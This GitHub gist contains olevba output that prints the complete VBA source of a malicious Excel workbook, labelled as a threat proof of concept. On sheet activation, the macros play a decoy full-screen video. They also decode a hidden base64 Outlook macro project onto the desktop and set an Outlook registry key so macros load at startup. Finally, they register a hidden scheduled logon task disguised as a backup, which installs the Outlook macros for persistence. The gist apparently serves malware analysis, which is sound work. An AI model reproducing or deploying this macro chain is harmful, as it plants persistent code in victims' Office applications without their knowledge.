Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save JohnLaTwC/75149b8d0c88c78f86f78c843c308b03 to your computer and use it in GitHub Desktop.
Save JohnLaTwC/75149b8d0c88c78f86f78c843c308b03 to your computer and use it in GitHub Desktop.
VBA Excel Macro threat PoC
olevba 0.54.2 on Python 3.7.3 - http://decalage.info/python/oletools
===============================================================================
FILE: a8f5b757d2111927731c2c4730ca97a9d4f2c2b6eb9cd80bbb3ff33168bfd740
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Hoja1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Worksheet_Activate()
DecodeV
Application.DisplayFullScreen = True
Application.DisplayStatusBar = False
WindowsMediaPlayer1.uiMode = "full"
'WindowsMediaPlayer1.Locked = True
'WindowsMediaPlayer1.Activate
'ActiveWindow.EnableResize = True
ActiveWindow.DisplayGridlines = False
ActiveWindow.DisplayHeadings = False
ActiveWindow.DisplayHorizontalScrollBar = False
ActiveWindow.DisplayOutline = False
ActiveWindow.DisplayRuler = False
ActiveWindow.DisplayVerticalScrollBar = False
ActiveWindow.DisplayRightToLeft = False
ActiveWindow.DisplayWhitespace = False
ActiveWindow.DisplayWorkbookTabs = False
ActiveWindow.DisplayZeros = False
ActiveWindow.DisplayFormulas = False
WindowsMediaPlayer1.Left = 0
WindowsMediaPlayer1.Top = 0
WindowsMediaPlayer1.Width = Application.Width
WindowsMediaPlayer1.Height = 0.95 * Application.Height
WindowsMediaPlayer1.BringToFront
WindowsMediaPlayer1.Url = directorio + "\Prueba02.mp4"
Application.DisplayAlerts = False
Application.OnTime Now + TimeValue("0:00:7"), "mensaje"
End Sub
-------------------------------------------------------------------------------
VBA MACRO Gráfico1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Gráfico1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Chart_Calculate()
Hoja2.Activate
'Hoja1.Activate
End Sub
-------------------------------------------------------------------------------
VBA MACRO Hoja2.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Worksheet_Activate()
Const TriggerTypeLogon = 9
Const ActionTypeExec = 0
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Do a backup"
regInfo.Author = "Author Name"
Dim principal
Set principal = taskDefinition.principal
principal.LogonType = 3
Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = True
Dim triggers
Set triggers = taskDefinition.triggers
Dim trigger
Set trigger = triggers.Create(TriggerTypeLogon)
Dim startTime, endTime
Dim time
time = DateAdd("s", 10, Now) 'start time = 30 seconds from now
startTime = XmlTime(time)
time = DateAdd("m", 2, Now)
endTime = XmlTime(time)
trigger.StartBoundary = startTime
trigger.EndBoundary = endTime
trigger.ExecutionTimeLimit = "PT5M" 'Five minutes
trigger.ID = "LogonTriggerId"
trigger.Enabled = True
Dim UNombre
Dim UDominio
UNombre = Environ("username")
UDominio = Environ("userdomain")
'MsgBox ("Usuario: " & UDominio & "\" & UNombre)
trigger.UserID = UDominio & "\" & UNombre
'Crear fichero OTM en disco
TestDecodeToFile
' Cambia el registro
Dim myWS As Object
Dim clavereg, claveres
calvereg = "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot"
Set myWS = CreateObject("WScript.Shell")
claveres = myWS.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\LoadMacroProviderOnBoot", 1, "REG_DWORD")
Dim UPerf
Dim WDir
Dim Comando
UPerf = Environ("UserProfile")
WDir = Environ("WinDir")
Comando = Hoja3.Cells(1, 2)
Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = Comando
Action.Arguments = "Move-Item -Path " & UPerf & "\Desktop\decoded_otm_new.txt " & UPerf & "\AppData\Roaming\Microsoft\Outlook\VbaProject.OTM"
On Error Resume Next
Call rootFolder.RegisterTaskDefinition("UserTask", taskDefinition, 6, , , 3)
On Error GoTo 0
End Sub
Function XmlTime(t)
Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
Dim tTime, tDate
cSecond = "0" & Second(t)
cMinute = "0" & Minute(t)
CHour = "0" & Hour(t)
cDay = "0" & Day(t)
cMonth = "0" & Month(t)
cYear = Year(t)
tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
":" & Right(cSecond, 2)
tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
XmlTime = tDate & "T" & tTime
End Function
Sub TestDecodeToFile()
Dim UPerf
UPerf = Environ("UserProfile")
Dim strTempPath As String
Dim b64test As String
b64test1 = Hoja3.Cells(1, 1)
b64test2 = Hoja3.Cells(2, 1)
b64test3 = Hoja3.Cells(3, 1)
b64test4 = Hoja3.Cells(4, 1)
b64test5 = Hoja3.Cells(5, 1)
b64test6 = Hoja3.Cells(6, 1)
b64test7 = Hoja3.Cells(7, 1)
b64test8 = Hoja3.Cells(8, 1)
b64test9 = Hoja3.Cells(9, 1)
b64test10 = Hoja3.Cells(10, 1)
b64test11 = Hoja3.Cells(11, 1)
b64test12 = Hoja3.Cells(12, 1)
b64test13 = Hoja3.Cells(13, 1)
b64test = b64test1 + b64test2 + b64test3 + b64test4 + b64test5 + b64test6 + b64test7 + b64test8 + b64test9 + b64test10 + b64test11 + b64test12 + b64test13
strTempPath = UPerf & "\Desktop\decoded_otm_new.txt"
Open strTempPath For Binary As #1
Put #1, 1, DecodeBase64(b64test)
Close #1
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()
Dim objXML As Object 'MSXML2.DOMDocument
Dim objNode As Object 'MSXML2.IXMLDOMElement
'get dom document
Set objXML = CreateObject("MSXML2.DOMDocument")
'create node with type of base 64 and decode
Set objNode = objXML.createElement("b64")
objNode.DataType = "bin.base64"
objNode.Text = strData
DecodeBase64 = objNode.nodeTypedValue
'clean up
Set objNode = Nothing
Set objXML = Nothing
End Function
-------------------------------------------------------------------------------
VBA MACRO Módulo1.bas
in file: xl/vbaProject.bin - OLE stream: 'VBA/Módulo1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Sub mensaje()
Application.DisplayAlerts = False
If (Application.Workbooks.Count > 1) Then
'ThisWorkbook.Close
'DEjo la aplicación Excel tal y como estaba
Application.DisplayFullScreen = False
'Application.DisplayStatusBar = True
Else
'DEjo la aplicación Excel tal y como estaba
Application.DisplayFullScreen = False
'Application.DisplayStatusBar = True
ActiveWindow.DisplayWorkbookTabs = True
'Application.Quit
End If
End Sub
Sub DecodeV()
Dim strTempPath As String
Dim b64test As String
Dim temporal As String
b64test1 = ""
b64test1 = cargarV
temporal = directorio
strTempPath = temporal + "\Prueba02.mp4"
If (Dir(strTempPath) = "") Then
'save byte array to temp file
Open strTempPath For Binary As #1
Put #1, 1, DecodeBase64(b64test1)
Close #1
End If
End Sub
Function directorio() As String
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
get_TempFolder = fso.GetSpecialFolder(2)
directorio = get_TempFolder
End Function
Private Function DecodeBase64(ByVal strData As String) As Byte()
Dim objXML As Object 'MSXML2.DOMDocument
Dim objNode As Object 'MSXML2.IXMLDOMElement
'get dom document
Set objXML = CreateObject("MSXML2.DOMDocument")
'create node with type of base 64 and decode
Set objNode = objXML.createElement("b64")
objNode.DataType = "bin.base64"
objNode.Text = strData
DecodeBase64 = objNode.nodeTypedValue
'clean up
Set objNode = Nothing
Set objXML = Nothing
End Function
Private Function cargarV() As String
Dim fila, columna As Integer
Dim texto As String
fila = 1
columna = 1
texto = ""
While (Hoja2.Cells(fila, columna) <> "")
texto = texto & Hoja2.Cells(fila, columna)
fila = fila + 1
Wend
cargarV = texto
End Function
-------------------------------------------------------------------------------
VBA MACRO Hoja3.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment